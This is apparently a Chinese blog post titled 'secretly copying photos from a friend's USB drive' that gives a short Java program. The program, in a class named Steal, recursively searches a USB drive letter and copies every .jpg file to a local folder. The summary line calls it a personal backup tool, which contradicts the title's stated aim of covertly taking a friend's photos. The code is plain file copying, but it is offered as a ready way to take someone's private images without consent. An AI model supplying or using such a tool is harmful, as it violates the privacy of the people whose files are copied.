JAVA实现偷偷复制好友U盘中的照片

本文介绍了一款使用Java实现的U盘自动备份工具,能够自动搜索U盘中的.jpg文件并将其复制到指定目录,适用于个人文件管理和备份场景。
public class Steal {
    private String resource = null;
    private String des = null;

    private BufferedInputStream bis = null;
    private BufferedOutputStream bos = null;

    public Steal(String resource, String des) {
        this.resource = resource;
        this.des = des;
        File file = new File(des);
        if (!file.exists())
            file.mkdirs();
    }

    public static void main(String[] args) throws Exception
    {
        //输入U盘所在盘符
        String resource = "e:\\";
        //输入复制文件存储位置
        String des = "h:\\1";

        Steal s = new Steal(resource,des);
        s.search(resource);
    }

    //搜索所有符合条件文件
    public void search(String path) throws Exception
    {
        File dir = new File(path);

        File[] subFiles = dir.listFiles();       //获取所有的文件或文件夹对象

        if (null!=subFiles){
            for (File subFile : subFiles) {
                if (subFile.isDirectory())        //文件夹则递归寻找,后缀为jpg文件则输出名字
                    search(subFile.getAbsolutePath());
                else if(subFile.isFile() && subFile.getName().endsWith(".jpg"))
                    copy(subFile);
            }
        }
    }

    //复制所需文件
    public void copy(File res) throws Exception
    {
        bis = new BufferedInputStream(new FileInputStream(res.getAbsoluteFile()));
        bos = new BufferedOutputStream(new FileOutputStream(this.getDes()+"\\"+res.getName()));
        int b;

        while((b=bis.read())!=-1)
            bos.write(b);

        bis.close();
        bos.close();
    }

    public String getDes() {
        return des;
    }
}

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值